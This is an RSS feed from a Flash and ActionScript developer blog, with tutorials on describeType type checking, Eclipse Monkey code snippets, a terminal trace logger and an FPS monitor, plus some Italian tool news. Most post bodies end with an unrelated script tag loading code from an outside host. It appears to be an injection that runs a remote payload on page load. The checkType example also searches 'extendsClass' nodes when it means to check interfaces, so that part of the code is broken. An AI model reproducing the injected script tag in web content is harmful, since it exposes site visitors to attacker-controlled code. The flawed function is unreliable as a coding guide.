<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; Tools</title>
	<atom:link href="http://www.flashfuck.it/category/tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Check a Class type with describeType and getQualifiedClassName</title>
		<link>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/</link>
		<comments>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 14:51:09 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=115</guid>
		<description><![CDATA[Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?
this is the specific case:

?View Code ACTIONSCRIPTfunction checkType&#40;toCheck:Class,typeClass:Class=null,typeInterface:Class=null&#41;:Boolean
&#123;
// if an instance of toCheck is a typeClass or a typeInterface
// return true
// else
// return false
&#125;

The task is quite simple, the first solution would be get an instance of [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?</p>
<p>this is the specific case:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1154"><td class="code" id="p115code4"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">// if an instance of toCheck is a typeClass or a typeInterface</span>
<span style="color: #808080; font-style: italic;">// return true</span>
<span style="color: #808080; font-style: italic;">// else</span>
<span style="color: #808080; font-style: italic;">// return false</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>The task is quite simple, the first solution would be get an instance of toCheck and use the is operator to actually check the type&#8230;but this would mean both a waste of resources and an &#8220;unwanted behaviour generator&#8221; (just think about a parser class instantiated without a real need or something like that).</p>
<p>Nope, that solution sucks.</p>
<p>Let&#8217;s try something better, let&#8217;s make the player inform us which is the toCheck class structure, let&#8217;s use describeType.</p>
<p>describeType is a wonderful function you can find in flash.utils package, it examines an untyped object and returns an xml document containing the description of that type (more details at <a href="http://livedocs.adobe.com/flex/3/langref/flash/utils/package.html#describeType()">adobe livedocs</a>)&#8230;something like this:</p>
<p>NOTE: click on &#8220;view code&#8221; to see the real xml document, my wp is escaping tags chars &amp;lt;&amp;gt; &#8230;:\</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code5'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1155"><td class="code" id="p115code5"><pre class="html" style="font-family:monospace;">&amp;lt;type name=&quot;flash.events::EventDispatcher&quot; base=&quot;Class&quot; isDynamic=&quot;true&quot; isFinal=&quot;true&quot; isStatic=&quot;true&quot;&amp;gt;
  &amp;lt;extendsClass type=&quot;Class&quot;/&amp;gt;
  &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
  &amp;lt;accessor name=&quot;prototype&quot; access=&quot;readonly&quot; type=&quot;*&quot; declaredBy=&quot;Class&quot;/&amp;gt;
  &amp;lt;factory type=&quot;flash.events::EventDispatcher&quot;&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;deactivate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;activate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
    &amp;lt;implementsInterface type=&quot;flash.events::IEventDispatcher&quot;/&amp;gt;
    &amp;lt;constructor&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;*&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/constructor&amp;gt;
    &amp;lt;method name=&quot;willTrigger&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;hasEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;removeEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;dispatchEvent&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;flash.events::Event&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;addEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;4&quot; type=&quot;int&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;5&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;toString&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;String&quot;/&amp;gt;
  &amp;lt;/factory&amp;gt;
&amp;lt;/type&amp;gt;</pre></td></tr></table></div>

<p>As you can see in this EventDispatcher type description there are two nodes witch are fitting the task&#8217;s purposes:</p>
<p>&lt;extendsClass&gt; and &lt;implementsInterface&gt;</p>
<p>Those nodes are repeated for each class or interface in the given class (toCheck) chain of inheritance and they contain the qualified class name string of the extended\implemented class\interface.</p>
<p>In this case EventDispatcher extendsClass type=&#8217;Object&#8217; and implementsInterface type=&#8217;flash.events::IEventDispatcher&#8217; &#8230;quite clear right?:)  Now, back to the implementation:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code6'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1156"><td class="code" id="p115code6"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">//gets the toCheck class type xml description</span>
	<span style="color: #000000; font-weight: bold;">var</span> _typeXML:<span style="color: #0066CC;">XML</span>=describeType<span style="color: #66cc66;">&#40;</span>toCheck<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">//gets the typeClass and typeInterface qualified class names</span>
	<span style="color: #000000; font-weight: bold;">var</span> _result:<span style="color: #0066CC;">Boolean</span>=<span style="color: #000000; font-weight: bold;">false</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">// if toCheck is a typeClass</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _extClass:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_extClass.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #808080; font-style: italic;">// do the same for typeInterface but checking 'implementsInterface' node</span>
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _impInterface:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_impInterface.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> _result;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8230;and the task got done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Auto generate getters setters and custom code in Flex builder</title>
		<link>http://www.flashfuck.it/2008/10/21/auto-generate-getters-setters-and-custom-code-in-flex-builder/</link>
		<comments>http://www.flashfuck.it/2008/10/21/auto-generate-getters-setters-and-custom-code-in-flex-builder/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 19:59:18 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flex]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Flex Builder]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=96</guid>
		<description><![CDATA[Recently I&#8217;ve been searching for a plugin for eclipse, a tool, *something*, able to generate code snippets on the fly. This lack of eclipse IDE is filled by a project called Eclipse Monkey, a dead (yes&#8230;dead..-.-&#8217;) component of  Project Dash which enables Eclipse to execute javascript functions on demand.
Eclipse Monkey will put a &#8220;scripts&#8221; menu [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I&#8217;ve been searching for a plugin for eclipse, a tool, *something*, able to generate code snippets on the fly. This lack of eclipse IDE is filled by a project called Eclipse Monkey, a dead (yes&#8230;dead..-.-&#8217;) component of  Project Dash which enables Eclipse to execute javascript functions on demand.</p>
<p>Eclipse Monkey will put a &#8220;scripts&#8221; menu on your Eclipse menu bar which is populated by the list of scripts (.js) inside the specified folder.</p>
<p>Here&#8217;s my Scripts&gt;Actionscript dropdown menu</p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/10/actionscript-menu.png"><img class="alignnone size-medium wp-image-97 aligncenter" title="actionscript-menu" src="http://www.flashfuck.it/wp-content/uploads/2008/10/actionscript-menu-300x100.png" alt="" width="300" height="100" /></a></p>
<p>Installation:</p>
<p>1) Add project dash site ( http://download.eclipse.org/technology/dash/update )  to your eclipse&#8217;s update sites,<br />
2) Restart eclipse,<br />
3) Run create test project by selecting scripts menu,<br />
4) Download actionscript snippets lib from <a href="http://rapidshare.com/files/119902972/Actionscript_Code_Generate_Scripts_1.0_by_Panel.zip">here</a></p>
<p>&#8230;great deal <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Here&#8217;s a video showing Eclipse Monkey at work</p>
<p><script type="text/javascript" src="http://www.flashfuck.it/wp-content/plugins/pb-embedflash/js/swfobject.js"></script><span class="embedflash" id="swfid273f2d87dcfad0724bb496c40595b24f"><small>(Please open the article to see the flash file or player.)</small></span><script type="text/javascript">
				var flashvars = {}; var params = {}; var attributes = {};params.allowfullscreen = "true"; params.allowscriptaccess = "always";
				swfobject.embedSWF("http://www.youtube.com/v/z9aL_OZzRJk&amp;hl=en&amp;fs=1","swfid273f2d87dcfad0724bb496c40595b24f","400","310","9.0.0","http://www.flashfuck.it/wp-content/plugins/pb-embedflash/swf/expressInstall.swf",flashvars,params,attributes);
		</script></p>
<p><strong>UPDATE:</strong></p>
<p>take a look to &#8220;<a href="http://theflashblog.com/?p=483">Pimp my Eclipse</a>&#8221; post from <a href="http://theflashblog.com/">Lee Brimelow</a> (<a href="http://theflashblog.com/?p=483">part 1</a> <a href="http://theflashblog.com/?p=484">and 2</a>) for further customizing your eclipse installation <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/21/auto-generate-getters-setters-and-custom-code-in-flex-builder/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Trace on a shell</title>
		<link>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/</link>
		<comments>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/#comments</comments>
		<pubDate>Sat, 30 Aug 2008 14:09:28 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[flashtracer]]></category>
		<category><![CDATA[Mac OSX]]></category>
		<category><![CDATA[trace]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=80</guid>
		<description><![CDATA[Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.
So, let&#8217;s open a trace logger on our terminal&#8230;
To do that the right command is &#8220;tail&#8221; which actually &#8220;[...]Print  the  last [...]]]></description>
			<content:encoded><![CDATA[<p>Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.</p>
<p>So, let&#8217;s open a trace logger on our terminal&#8230;</p>
<p>To do that the right command is &#8220;tail&#8221; which actually &#8220;<a href="http://lowfatlinux.com/linux-tail-manual.html" target="_blank">[...]Print  the  last 10 lines of each FILE to standard output[...]</a>&#8221; and the file to open is located in /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</p>
<p>Then, let&#8217;s do something good and useful with that:</p>
<p>open your TextEdit, cmd+shift+T to switch to plain text, write down this one line command:</p>
<p><code>tail -f /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</code></p>
<p>save the file as &#8220;flashtracer.sh&#8221; and use sh as file extension instead of txt.</p>
<p>then right click on the file, reach the &#8220;open with&#8221; menu and choose &#8220;terminal&#8221; application located inside utility folder. Note: it would be great if you set terminal as default application to open that file <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>ok, now everything&#8217;s ready; double click on flashtracer.sh and start tracing <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Note: remember you&#8217;re in a shell now, so you can clear up the lines with cmd+K&#8230;</p>
<p>I hope it can be useful,</p>
<p>byez <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>FPSMonitor for AS3 and Flex projects</title>
		<link>http://www.flashfuck.it/2008/05/27/fpsmonitor-for-as3-and-flex-projects/</link>
		<comments>http://www.flashfuck.it/2008/05/27/fpsmonitor-for-as3-and-flex-projects/#comments</comments>
		<pubDate>Tue, 27 May 2008 00:59:34 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/05/27/fpsmonitor-for-as3-and-flex-projects/</guid>
		<description><![CDATA[UPDATE: http://www.flashfuck.it/fps-monitor/
Here&#8217;s some (usefull i hope   ) source..

I&#8217;ve made a little fps monitor for my projects (for both as3 and flex)&#8230; so, here&#8217;s some souce and some howtos about&#8230;
There are 2 classes, FPSMonitor is made for as3 (or flash) projects, the other one, FlexFPSMonitor is made expecially for use in Flex.
Usage AS3:

?View Code [...]]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE: <a href="http://www.flashfuck.it/fps-monitor/">http://www.flashfuck.it/fps-monitor/</a></strong></p>
<p>Here&#8217;s some (usefull i hope <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) source..</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2008/05/fpsmonitor.png" alt="fpsmonitor.png" /></p>
<p>I&#8217;ve made a little fps monitor for my projects (for both as3 and flex)&#8230; so, <a href="http://www.flashfuck.it/wp-content/uploads/2008/05/fpsmonitor.zip">here&#8217;s some souce</a> and some <em>howto</em>s about&#8230;</p>
<p>There are 2 classes, FPSMonitor is made for as3 (or flash) projects, the other one, FlexFPSMonitor is made expecially for use in Flex.</p>
<p>Usage AS3:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p71code9'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p719"><td class="code" id="p71code9"><pre class="actionscript" style="font-family:monospace;"><span style="color: #0066CC;">import</span> it.<span style="color: #006600;">flashfuck</span>.<span style="color: #006600;">debugger</span>.<span style="color: #006600;">FPSMonitor</span>;
<span style="color: #808080; font-style: italic;">//[...]</span>
addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> FPSMonitor<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</pre></td></tr></table></div>

<p>Usage Flex:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p71code10'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p7110"><td class="code" id="p71code10"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">// new xmlns in application tag</span>
xmlns:debugger=<span style="color: #ff0000;">&quot;it.flashfuck.debugger.*&quot;</span>
<span style="color: #808080; font-style: italic;">//then add the tag, remember to add it at the end of your app so it's appearing in front of everything</span></pre></td></tr></table></div>

<p>quite simple hm? <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
The main difference between these classes&#8217; results is dragging. Flex one is draggable over the application stage, the other one is not draggable (just edit the code if you want to bring it away among the screen <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )&#8230;.</p>
<p><strong>Features</strong><br />
FPSMonitor (as the flex one) is monitoring<br />
- OS, Player type, version, and &#8220;is debugger&#8221;<br />
- FPS<br />
- Memory usage (note: this parameter tells you the memory usage by ALL flash player instances you&#8217;re running, so if you&#8217;re running more than 1 player at once this value is altered!&#8230;even in 2 firefox tabs or a standalone and a browser player)</p>
<p><strong>Graph</strong>:<br />
FPSMonitor is displaying in a graph 2 values: FPS (white) and memory usage (black) (same note for this value <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )<br />
Everything is blended with BlendMode.INVERT so you can see the monitor in quite every condition.</p>
<p>I hope you enjoy.<br />
<a title="FPSMonitor" href="http://www.flashfuck.it/wp-content/uploads/2008/05/fpsmonitor.zip">Download here both classes FPSMonitor.as and FlexFPSMonitor.as</a></p>
<p>&#8230;.just a note: feel free to use this code anywhere, if you&#8217;re improving functionalities, adding more features or anything else please just send me a smoke signal or a pidgeon with a message so i can update the source <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/05/27/fpsmonitor-for-as3-and-flex-projects/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Flow &#8211; eclipse flash launcher</title>
		<link>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/</link>
		<comments>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 08:55:00 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/</guid>
		<description><![CDATA[&#8220;Flow&#8221; √® un tool che permette di lanciare il compilatore flash (sia il test movie che il compile vero e proprio) direttamente da Eclipse.

Lavora in command line, ma viaggia in automatico, una volta configurato il path di compilazione nel file .config eclipse fa praticamente tutto da sola.
Esistono altri progetti simili a questo, lo stesso Jaco [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://www.pixeldump.org/index.php?blog=1&amp;title=flash_launcher_flow_beta">Flow</a>&#8221; √® un tool che permette di lanciare il compilatore flash (sia il test movie che il compile vero e proprio) direttamente da Eclipse.</p>
<p style="text-align: center"><img src="http://www.pixeldump.org/media/flow_ss01.png" onmouseout="undefined" onmouseover="undefined" title="undefined" height="86" width="86" /><br class="webkit-block-placeholder" /></p>
<p>Lavora in command line, ma viaggia in automatico, una volta configurato il path di compilazione nel file .config eclipse fa praticamente tutto da sola.</p>
<p>Esistono altri progetti simili a questo, lo stesso Jaco ne cita due : <a href="http://osflash.org/flashcommand">flashCommand</a> e <a href="http://www.gskinner.com">compileProject</a>, ma a quanto pare non sono pi√π sviluppati.<a href="http://www.pixeldump.org/"></a></p>
<p><a href="http://www.pixeldump.org/">Jaco</a> ha pubblicato anche uno <a href="http://www.pixeldump.org/media/flow/">screencast</a> dove viene mostrato <a href="http://www.pixeldump.org/media/flow/">Flow in azione</a> (Venetian Spoken <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).</p>
<p>Per ora Flow √® disponibile in EXE&#8230;quindi niente trippa per gli unixbased come il sottoscritto&#8230;per ora (vero jaco?:D)</p>
<p>Un tool che non faciliter√† la vita a tutti, ma a molti <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Grande, respect.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Swift 3D va in Papervision&#8230;ma anche in Silverlight</title>
		<link>http://www.flashfuck.it/2007/11/20/swift-3d-va-in-papervisionma-anche-in-silverlight/</link>
		<comments>http://www.flashfuck.it/2007/11/20/swift-3d-va-in-papervisionma-anche-in-silverlight/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 20:52:04 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/11/20/swift-3d-va-in-papervisionma-anche-in-silverlight/</guid>
		<description><![CDATA[Direttamente dal blog ufficiale di papervision apprendo con gran gaudio che Swift 3d, software 3d che per primo ha scommesso su flash, avr√† una funzione &#8220;export for papervision&#8221;a partire dalla prossima versione (5, di cui abbiamo una diapositiva  ).

Vista la grandissima facilit√† di utilizzo di swift (lo usavo anche io prima di passare a [...]]]></description>
			<content:encoded><![CDATA[<p>Direttamente dal <a href="http://blog.papervision3d.org/2007/11/15/erains-swift3d-to-support-papervision3d-export/">blog ufficiale di papervision</a> apprendo con gran gaudio che Swift 3d, software 3d che per primo ha scommesso su flash, avr√† una funzione &#8220;export for papervision&#8221;a partire dalla prossima versione (5, di cui abbiamo una diapositiva <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).</p>
<p style="text-align: center"><img src="http://www.erain.com/Products/Img/v5.jpg" height="79" width="232" /></p>
<p>Vista la grandissima facilit√† di utilizzo di swift (lo usavo anche io prima di passare a blender&#8230;che sar√† anche pi√π difficile, ma √® free ed √® completo) e l&#8217;ottima integrazione con flash si preannunciano valanghe di siti 3D <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
